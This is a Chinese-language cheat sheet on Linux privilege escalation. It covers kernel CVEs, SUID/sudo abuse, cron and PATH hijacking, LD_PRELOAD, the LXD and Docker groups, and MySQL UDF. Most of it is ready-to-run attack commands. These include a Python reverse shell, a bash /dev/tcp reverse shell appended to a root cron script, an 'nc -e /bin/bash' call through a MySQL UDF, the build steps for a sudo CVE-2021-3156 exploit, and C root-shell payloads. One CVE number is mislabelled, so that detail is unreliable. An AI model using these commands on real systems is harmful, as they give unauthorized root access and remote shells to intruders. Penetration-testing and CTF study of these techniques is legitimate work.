Linux权限提升
字数 1368 2025-09-01 11:26:10

Linux权限提升全面指南

一、基础准备

1. 基础命令

# 开启shell交互式
python -c 'import pty; pty.spawn("/bin/bash")'

# python开启http服务
python3 -m http.server 8080

2. 系统信息收集

# 操作系统信息
hostnamectl
cat /etc/*-release
lsb_release -a
cat /etc/lsb-release  # Debian
cat /etc/redhat-release  # RedHat
cat /etc/centos-release  # CentOS
cat /etc/os-release  # Ubuntu
cat /etc/issue

# 内核版本
hostnamectl
uname -a
cat /proc/version

二、内核溢出提权

1. 漏洞检测工具

  • MSF检测(效果一般):

    use post/multi/recon/local_exploit_suggester
    
  • 推荐提权脚本:

    • https://github.com/liamg/traitor
    • https://github.com/The-Z-labs/linux-exploit-suggester
    • https://github.com/jondonas/linux-exploit-suggester-2
    • https://github.com/belane/linux-soft-exploit-suggester

2. 综合利用脚本

  • https://github.com/carlospolop/PEASS-ng
  • https://github.com/diego-treitos/linux-smart-enumeration
  • https://github.com/redcode-labs/Bashark
  • https://github.com/rebootuser/LinEnum

3. 常见内核漏洞案例

  • Dirty Cow (CVE-2016-5159)
  • Pwnkit (CVE-2021-4034)
  • Dirty Pipe (CVE-2022-0847)
  • 大脏牛 (CVE-2017-1000405)
  • CVE-2017-16995
  • CVE-2021-3560
  • CVE-2023-1829
  • CVE-2022-2588
  • CVE-2021-3493
  • CVE-2022-32250
  • CVE-2023-3269
  • CVE-2022-0995
  • CVE-2022-2639
  • CVE-2023-0386

三、SUID & SUDO提权

1. 基本概念

  • SUID入口点: web → 普通用户 → root用户
  • SUDO入口点: 普通用户 → root用户

2. SUID查找

find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

3. SUID利用示例

# find命令提权
/usr/bin/find . -exec '/bin/sh' \;

# python有SUID权限时反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.130",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4. SUDO漏洞利用

  • CVE-2021-3156 (sudo 1.8.2-1.8.31p2, 1.9.0-1.9.5p1)

    git clone https://github.com/blasty/CVE-2021-3156.git
    cd CVE-2021-3156
    make
    chmod a+x sudo-hax-me-a-sandwish
    ./sudo-hax-me-a-sandwish
    
  • 查看sudo权限:

    sudo -l
    

四、其他提权方式

1. NFS安全提权

条件: 配合SUID提权

# 检查NFS共享
showmount -e 192.168.16.104

# 挂载NFS共享
mkdir nfs
mount -t nfs 192.168.16.104:/mnt/nfs ./nfs

# 创建SUID文件
cp /usr/bin/find xuan
chmod 777 xuan
chmod +s xuan

# 或者编译提权程序
#include<stdlib.h>
#include<unistd.h>
int main(){
    setuid(0);
    system("id");
    system("whoami");
    system("/bin/bash");
}

2. Cron任务提权

原理: 当cron任务以root权限运行,但脚本或可执行文件的权限设置不当

# 查看定时任务
cat /etc/crontab

# 查看定时任务脚本权限
ls -lia /etc/script/CleaningScript.sh

# 修改脚本添加反弹shell
echo "bash -i >& /dev/tcp/192.168.186.130/6677 0>&1" >> /etc/script/CleaningScript.sh

3. PATH劫持攻击

原理: 修改PATH环境变量,使系统优先执行恶意程序

# 在/tmp下创建恶意curl
echo "/bin/sh" > /tmp/curl
chmod 777 /tmp/curl

# 修改PATH
export PATH=/tmp:$PATH

# 执行有SUID权限的程序
/opt/statuscheck

4. Capablility能力提权

原理: Linux将root权限细分为不同能力

# 查看能力
getcap -r / 2>/dev/null

# 利用示例(如python有cap_setuid+ep)
/tmp/php -r "posix_setuid(0); system('/bin/sh');"

5. LD_Preload加载提权

条件: sudo配置允许LD_PRELOAD

// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}
# 编译
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

# 利用
sudo LD_PRELOAD=/tmp/shell.so find

五、容器提权

1. LXD提权

条件: 用户属于lxd组

# 导入镜像
lxc image import ./alpine-v3.22-x86_64-20250721_1126.tar.gz --alias test

# 创建特权容器
lxc init test test -c security.privileged=true

# 挂载宿主机根目录
lxc config device add test test disk source=/ path=/mnt/root recursive=true

# 启动并进入容器
lxc start test
lxc exec test /bin/sh

# 访问宿主机文件
cd /mnt/root/root
cat flag.txt

2. Docker提权

条件: 用户在docker组

# 挂载宿主机根目录
docker run -v /:/mnt -it alpine

# 在容器中访问宿主机文件
cd /mnt/root

3. Rbash绕过

限制性bash逃逸方法:

  1. 使用绝对路径执行命令
  2. 使用vi/ed等编辑器逃逸
  3. 使用scp/sftp
  4. 使用git/ssh等命令

六、数据库提权

1. MySQL UDF提权

# 编译UDF
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc

# MySQL操作
select version();
show variables like '%plugin%';
show variables like '%secure%';

use mysql;
create table xuan(line blob);
insert into xuan values(load_file('/tmp/udf.so'));
select * from xuan into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function do_system returns integer soname 'udf.so';
select do_system('nc 192.168.16.109 6666 -e /bin/bash');

七、工具资源

1. 提权脚本

2. 参考文章

Linux权限提升全面指南 一、基础准备 1. 基础命令 2. 系统信息收集 二、内核溢出提权 1. 漏洞检测工具 MSF检测(效果一般): 推荐提权脚本: https://github.com/liamg/traitor https://github.com/The-Z-labs/linux-exploit-suggester https://github.com/jondonas/linux-exploit-suggester-2 https://github.com/belane/linux-soft-exploit-suggester 2. 综合利用脚本 https://github.com/carlospolop/PEASS-ng https://github.com/diego-treitos/linux-smart-enumeration https://github.com/redcode-labs/Bashark https://github.com/rebootuser/LinEnum 3. 常见内核漏洞案例 Dirty Cow (CVE-2016-5159) Pwnkit (CVE-2021-4034) Dirty Pipe (CVE-2022-0847) 大脏牛 (CVE-2017-1000405) CVE-2017-16995 CVE-2021-3560 CVE-2023-1829 CVE-2022-2588 CVE-2021-3493 CVE-2022-32250 CVE-2023-3269 CVE-2022-0995 CVE-2022-2639 CVE-2023-0386 三、SUID & SUDO提权 1. 基本概念 SUID入口点 : web → 普通用户 → root用户 SUDO入口点 : 普通用户 → root用户 2. SUID查找 3. SUID利用示例 4. SUDO漏洞利用 CVE-2021-3156 (sudo 1.8.2-1.8.31p2, 1.9.0-1.9.5p1) 查看sudo权限: 四、其他提权方式 1. NFS安全提权 条件 : 配合SUID提权 2. Cron任务提权 原理 : 当cron任务以root权限运行,但脚本或可执行文件的权限设置不当 3. PATH劫持攻击 原理 : 修改PATH环境变量,使系统优先执行恶意程序 4. Capablility能力提权 原理 : Linux将root权限细分为不同能力 5. LD_ Preload加载提权 条件 : sudo配置允许LD_ PRELOAD 五、容器提权 1. LXD提权 条件 : 用户属于lxd组 2. Docker提权 条件 : 用户在docker组 3. Rbash绕过 限制性bash逃逸方法 : 使用绝对路径执行命令 使用vi/ed等编辑器逃逸 使用scp/sftp 使用git/ssh等命令 六、数据库提权 1. MySQL UDF提权 七、工具资源 1. 提权脚本 traitor linux-exploit-suggester PEASS-ng linux-smart-enumeration 2. 参考文章 Linux提权基础分享和讨论 rbash逃逸大全